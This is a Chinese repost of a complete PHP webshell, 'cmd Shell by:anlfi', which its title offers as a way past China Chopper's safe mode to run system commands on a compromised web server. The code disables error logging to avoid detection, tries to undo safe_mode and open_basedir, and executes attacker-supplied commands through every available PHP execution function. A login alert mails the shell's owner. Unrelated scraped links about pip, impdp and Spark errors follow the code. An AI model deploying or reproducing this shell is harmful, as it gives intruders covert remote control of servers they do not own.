当webshell不可执行cmshell时 (菜刀的安全模式!)可用此脚本突破执行cmd命令

<?php

/*
==============
*/

error_reporting(0);
ini_set(‘max_execution_time‘,0);

// ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\

/**************** Defines *********************************/

$user = "anlfi";
$pass = "XXX";
$sm = @ini_get(‘safe_mode‘);
$SEPARATOR = ‘/‘; // Default Directory separator
$os = "N/D";
if(stristr(php_uname(),"Windows"))
{
        $SEPARATOR = ‘\\‘;
        $os = "Windows";
}
else if(stristr(php_uname(),"Linux"))
{
        $os = "Linux";
}

//*************************************************************/

// -------------- Traceback Functions

function sendLoginAlert()
{
    global $ownerEmail;
    global $url;
    $accesedIp = $_SERVER[‘REMOTE_ADDR‘];
    $randomInt = rand(0,1000000);           # to avoid id blocking
    $from = "ani-shell$[email][email protected][/email]"; 

    //echo $from;

    if(function_exists(‘mail‘))
    {
        $subject = "Shell Accessed -- Ani-Shell --";
        $message = "
Hey Owner ,

        Your Shell(Ani-Shell) located at $url was accessed by $accesedIp

        If its not you :-

        1. Please check if the shell is secured.
        2. Change your user name and Password.
        3. Check if lock is 0n!
        and Kick that ****** out!

        Thanking You

Yours Faithfully
Ani-Shell
        ";
        mail($ownerEmail,$subject,$message,‘From:‘.$from);
    }
}

//---------------------------------------------------------

if(function_exists(‘session_start‘) && $lock == ‘on‘)
{
    session_start();
}
else
{
    // The lock will be set to ‘off‘ if the session_start fuction is disabled i.e if sessions are not supported
    $lock = ‘off‘;
}

//logout

if(isset($_GET[‘logout‘]) && $lock == ‘on‘)
{
    $_SESSION[‘authenticated‘] = 0;
    session_destroy();
    header("location: ".$_SERVER[‘PHP_SELF‘]);
}

ini_set(‘max_execution_time‘,0);

/***************** Restoring *******************************/

ini_restore("safe_mode");
ini_restore("open_basedir");

if(function_exists(‘ini_set‘))
{
    ini_set(‘error_log‘,NULL);  // No alarming logs
    ini_set(‘log_errors‘,0);    // No logging of errors
}

else
{
    ini_alter(‘error_log‘,NULL);
    ini_alter(‘log_errors‘,0);
}

// ----------------------------------------------------------------------------------------------------------------

?>
<html>
<head>
<title>cmd Shell by:anlfi</title>

<style>
/*
==========================
    CSS Section
==========================
*/
*{
    padding:0;
    margin:0;
}

.alert
{
    background:red;
    color:white;
    font-weight:bold;
}
td.info
{
    width:0px;
}

.bind
{
    border: 1px solid #333333;
    margin: 15px auto 0;
    font-size: small;
}

div.end *
{
    font-size:small;
}

div.end
{
    width:100%;
    background:#222;
}

p.blink
{
    text-decoration: blink;
}

body
{
    background-color:black;
    color:rgb(35,182,39);
    font-family:Tahoma,Verdana,Arial;
    font-size: small;
}

input.own {
    background-color: Green;
    color: white;
    border : 1px solid #ccc;
}

blockquote.small
{
    font-size: smaller;
    color: silver;
    text-align: center;
}

table.files
{
    border-spacing: 10px;
    font-size: small;
}

h1 {
    padding: 4px;
    padding-bottom: 0px;
    margin-right : 5px;
}
div.logo
{
    border-right: 1px aqua solid;
}
div.header
{
    padding-left: 5px;
    font-size: small;
    text-align: left;
}
div.nav
{
    margin-top:1px;
    height:30px;
    background-color: #ccc;
}
div.nav ul
{
    list-style: none;
    padding: 4px;
}
div.nav li
{
    float: left;
    margin-right: 10px;
    text-align:center;
}
textarea.cmd
{
    border : 1px solid #111;
    background-color : green;
    font-family: Shell;
    color : white;
    margin-top: 10px;
    font-size:small;
}

input.cmd
{
    background-color:black;
    color: white;
    width: 400px;
    border : 1px solid #ccc;

}
td.maintext
{
    font-size: large;
}
#margins
{
    margin-left: 10px;
    margin-top: 10px;
    color:white;
}
table.top
{
    border-bottom: 1px solid aqua;
    width: 100%;
}
#borders
{
    border-top : 1px solid aqua;
    border-left:1px solid aqua;
    border-bottom: 1px solid aqua;
    border-right: 1px solid aqua;
    margin-bottom:0;
}
td.file a , .file a
{
    color : aqua;
    text-decoration:none;
}
a.dir
{
    color:white;
    font-weight:bold;
    text-decoration:none;
}
td.dir a
{
    color : white;
    text-decoration:none;
}
td.download,td.download2
{
    color:green;
}
#spacing
{
    padding:10px;
    margin-left:200px;
}
th.header
{
    background: none repeat scroll 0 0 #191919;
    color: white;
    border-bottom : 1px solid #333333;
}
p.warning
{
    background : red;
    color: white;
}
//

--------------------------------CSS END------------------------------------------------------

*/
</style>
</head>

<body text="rgb(39,245,10)" bgcolor="black">
<?php

if(isset($_POST[‘user‘]) && isset($_POST[‘pass‘]) && $lock == ‘on‘)
{
    if( $_POST[‘user‘] == $user &&
         $_POST[‘pass‘] == $pass )
    {
            $_SESSION[‘authenticated‘] = 1;
            // --------------------- Tracebacks --------------------------------
            if($tracebackFeature == ‘On‘)
            {
                sendLoginAlert();
            }
            // ------------------------------------------------------------------
    }
}

if($lock == ‘off‘)
{?>
    <p class="warning"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></p>
<?php
}

if($lock == ‘on‘ && (!isset($_SESSION[‘authenticated‘]) || $_SESSION[‘authenticated‘]!=1) )
{

?>
<table>
    <tbody>
        <tr>
            <td width="500px">
        <pre>
<font color="Orange">
<b>
[]--------------cmd Shell-----------------
</b>
</pre>
            </td>
            <td>
                <!-- <h1><?php // echo $greeting;?></h1>
                <img src="Logo_03.png" class="imageForm" /> -->
                <form method="POST" action="<?php echo $_SERVER[‘PHP_SELF‘];?>">
                <input name="user" value="Username"/> <input name="pass" type="" value=""/> <input class="own" type="Submit" value="in!"/>
                </form>
            </td>
        </tr>
    </tbody>
</table>
<?php
}
//---------------------------------- We are authenticated now-------------------------------------
//Launch the shell
else
{
    //---------------------------------- Fuctions ---------------------------------------------------

    function showDrives()
    {
        global $self;
        foreach(range(‘A‘,‘Z‘) as $drive)
        {
            if(is_dir($drive.‘:\\‘))
            {
                ?>
                <a class="dir" href=‘<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>‘>
                    <?php echo $drive.":\\" ?>
                </a>
                <?php
            }
        }
    }

    function HumanReadableFilesize($size)
    {

        $mod = 1024;

        $units = explode(‘ ‘,‘B KB MB GB TB PB‘);
        for ($i = 0; $size > $mod; $i++)
        {
            $size /= $mod;
        }

        return round($size, 2) . ‘ ‘ . $units[$i];
    }

function getClientIp()
{
    echo $_SERVER[‘REMOTE_ADDR‘];
}

function getServerIp()
{
    echo getenv(‘SERVER_ADDR‘);
}
function getSoftwareInfo()
{
    echo php_uname();
}
function diskSpace()
{
    echo HumanReadableFilesize(disk_total_space("/"));
}
function freeSpace()
{
    echo HumanReadableFilesize(disk_free_space("/"));
}
function getSafeMode()
{
        global $sm;
                echo($sm?"ON :( :‘( (Most of the Features will Not Work!)":"OFF");

}

function getDisabledFunctions()
{
    if(!ini_get(‘disable_functions‘))
    {
                echo "None";
    }
    else
    {
                        echo @ini_get(‘disable_functions‘);
    }
}

function getFilePermissions($file)
{

$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = ‘s‘;
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = ‘l‘;
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = ‘-‘;
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = ‘b‘;
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = ‘d‘;
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = ‘c‘;
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = ‘p‘;
} else {
    // Unknown
    $info = ‘u‘;
}

// Owner
$info .= (($perms & 0x0100) ? ‘r‘ : ‘-‘);
$info .= (($perms & 0x0080) ? ‘w‘ : ‘-‘);
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? ‘s‘ : ‘x‘ ) :
            (($perms & 0x0800) ? ‘S‘ : ‘-‘));

// Group
$info .= (($perms & 0x0020) ? ‘r‘ : ‘-‘);
$info .= (($perms & 0x0010) ? ‘w‘ : ‘-‘);
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? ‘s‘ : ‘x‘ ) :
            (($perms & 0x0400) ? ‘S‘ : ‘-‘));

// World
$info .= (($perms & 0x0004) ? ‘r‘ : ‘-‘);
$info .= (($perms & 0x0002) ? ‘w‘ : ‘-‘);
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? ‘t‘ : ‘x‘ ) :
            (($perms & 0x0200) ? ‘T‘ : ‘-‘));

return $info;

}

/***********************************************************/
// exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
// Turned OfF!
/**********************************************************/

function exec_all($command)
{

    $output = ‘‘;
    if(function_exists(‘exec‘))
    {
        exec($command,$output);
        $output = join("\n",$output);
    }

    else if(function_exists(‘shell_exec‘))
    {
        $output = shell_exec($command);
    }

    else if(function_exists(‘popen‘))
    {
        $handle = popen($command , "r"); // Open the command pipe for reading
        if(is_resource($handle))
        {
            if(function_exists(‘fread‘) && function_exists(‘feof‘))
            {
                while(!feof($handle))
                {
                    $output .= fread($handle, 512);
                }
            }
            else if(function_exists(‘fgets‘) && function_exists(‘feof‘))
            {
                while(!feof($handle))
                {
                    $output .= fgets($handle,512);
                }
            }
        }
        pclose($handle);
    }

    else if(function_exists(‘system‘))
    {
        ob_start(); //start output buffering
        system($command);
        $output = ob_get_contents();    // Get the ouput
        ob_end_clean();                 // Stop output buffering
    }

    else if(function_exists(‘passthru‘))
    {
        ob_start(); //start output buffering
        passthru($command);
        $output = ob_get_contents();    // Get the ouput
        ob_end_clean();                 // Stop output buffering
    }

    else if(function_exists(‘proc_open‘))
    {
        $descriptorspec = array(
                1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
                );
        $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array ‘pipes‘
        if(is_resource($handle))
        {
            if(function_exists(‘fread‘) && function_exists(‘feof‘))
            {
                while(!feof($pipes[1]))
                {
                    $output .= fread($pipes[1], 512);
                }
            }
            else if(function_exists(‘fgets‘) && function_exists(‘feof‘))
            {
                while(!feof($pipes[1]))
                {
                    $output .= fgets($pipes[1],512);
                }
            }
        }
        pclose($handle);
    }
    else
    {
        $output = "They have their Security there! :( ";
    }

    return(htmlspecialchars($output));

}
function magicQuote($text)
{
    if (!get_magic_quotes_gpc())
    {
        return $text;
    }
    return stripslashes($text);
}
//------------------------------------------------------------------------------------------------

?>
</div>
<div class="nav">
<ul>
    <li><a href="<?php echo $self.‘?shell‘;?>">Shell</a></li>
    <?php if($lock == ‘on‘)
    {
    ?>
        <li><a href="<?php echo $self.‘?logout‘?>">I m Out!</a></li>
    <?php
    }
    ?>
</ul>
</div>
/////////by:Anlfi//////////
<?php
//-------------------------------- Check what he wants -------------------------------------------

// Shell

if(isset($_GET[‘shell‘]))
{
    if(!isset($_GET[‘cmd‘]) || $_GET[‘cmd‘] == ‘‘)
    {
        $result = "";
    }
    else
    {
        $result=exec_all($_GET[‘cmd‘]);
    }
    ?>
    <textarea class="cmd" cols="100" rows="20"><?php echo $result;?></textarea>
    <form action="<?php echo $self;?>" method="GET">
    <!-- For Shell -->
    <input name="shell" type="hidden" />
    <!-- For CMD -->
    <input name="cmd" class="cmd" />
    <input name="submit" value="Run!" class="own" type="submit" />
    </form>
    <?php
    }
}

?>

菜刀下默认执行效果

此脚本测试效果

时间: 2024-10-29 19:09:41

当webshell不可执行cmshell时 (菜刀的安全模式!)可用此脚本突破执行cmd命令的相关文章

python3.6执行pip3时 Unable to create process using &#39;&quot;&#39;

背景: 由于在windows操作系统中已经安装了python2.7,之前安装过python3.4,现已卸载, 将python3.6安装在C:\Python36目录下 然后进入C:\Python36目录下执行pip -V能正常使用 但是为了同时使用python2和python3,于是将python.exe改名为python3.exe,重新执行pip -V 发现错误 C:\Python36>pip3 Fatal error in launcher: Unable to create process

执行impdp时出现的各种问题

1.执行impdp时出现ORA-39154错误的解决案例 http://www.tuicool.com/articles/MBfeyq 2.expdp ORA-39070:Unable to open the log file http://www.cnblogs.com/xqzt/p/5035564.html 3.执行impdp时出现ORA-39154错误的解决案例 http://www.cnblogs.com/zfox2017/p/6611470.html 4.Navicat 提示Canno

执行 $ Gulp 时发生了什么 —— 基于 Gulp 的前端集成解决方案(二)

前言 文章 在windows下安装gulp —— 基于 Gulp 的前端集成解决方案(一) 中,已经完成对 gulp 的安装,由于是window环境,文中特意提到了可以通过安装 gitbash 来代替 window 系统的 CMD 命令行工具.本节主要围绕 如何使用 Gulp 完成一个预编译 SASS 文件的任务 来逐步熟悉 Gulp . 本文地址:http://www.cnblogs.com/leonkao/p/4611102.html Gulp 概述 Gulp 是一个构建工具,通过自动化处理

执行游戏时出现0xc000007b错误的解决方法

如图,这个错误使无数玩家烦恼. 出现这个错误,可能是硬件的问题,也可能是软件的问题.可是,因为硬件引起该问题的概率非常小,而且除了更换硬件之外没有更好的解决方法,因此本文将具体介绍怎样通过软件解决此问题,这也是大家最关心的. 大致介绍一下这个错误是怎样发生的.这个错误的本意是提示内存错误,可是通常情况下并非内存存在问题,而是因为软件的问题产生了这个错误.到底是什么软件的问题呢?答案是DirectX,而且多数情况下是DirectX 9.0的问题. 或许大家会问了:我玩的游戏都有DirextX 11

程序中使用事务来管理sql语句的执行,执行失败时,可以达到回滚的要求。

1.设置使用事务的SQL执行语句 1 /// <summary> 2 /// 使用有事务的SQL语句 3 /// </summary> 4 /// <param name="sql"></param> 5 /// <param name="conn"></param> 6 /// <param name="tran"></param> 7 /// &l

spark 在yarn执行job时一直抱0.0.0.0:8030错误

近日新写完的spark任务放到yarn上面执行时,在yarn的slave节点中一直看到报错日志:连接不到0.0.0.0:8030 . 1 The logs are as below: 2 2014-08-11 20:10:59,795 INFO [main] org.apache.hadoop.yarn.client.RMProxy: Connecting to ResourceManager at /0.0.0.0:8030 3 2014-08-11 20:11:01,838 INFO [ma

查询oracle sql的执行计划时,一个很重要的视图--dba_hist_sql_plan

本文的编写得到枯荣长老的大力帮助,在此表示感谢. 本文适用的oracle db版本为oracle 10g或者更高版本. 之所以说这个视图很重要,是因为该视图中有一列是在awrsqrpt报告中没有的.这一列就是 filter_predicates列. SELECT plan_hash_value, TO_CHAR(RAWTOHEX(child_address)), TO_NUMBER(child_number), id, LPAD(' ', DEPTH) || operation operatio

执行spark-shell时遇到的主机地址的错误

下载了spark 1.4,执行spark-shell时遇到以下错误: java.net.UnknownHostException: UKON-M-Q0EP: UKON-M-Q0EP: nodename nor servname provided, or not known at java.net.InetAddress.getLocalHost(InetAddress.java:1473) 这并非spark特有的错误,而是Mac上使用java常见的一个问题,是application在查询主机相应

Maven 执行Javadoc时控制台输出乱码问题

1.0  Maven 执行Javadoc时控制台输出乱码问题 问题描述 最近项目中使用maven-javadoc-plugin生成javadoc时,myEclipse控制台乱码. 插件配置 问题分析 检查maven输出时采用的编码格式 很显然maven默认输出采用GBK编码 myEclipse控制台输出编码,默认采用的是工作空间的编码格式. 改为 结果如下: 来自:http://www.cnblogs.com/albert-sun/archive/2013/03/21/2973993.html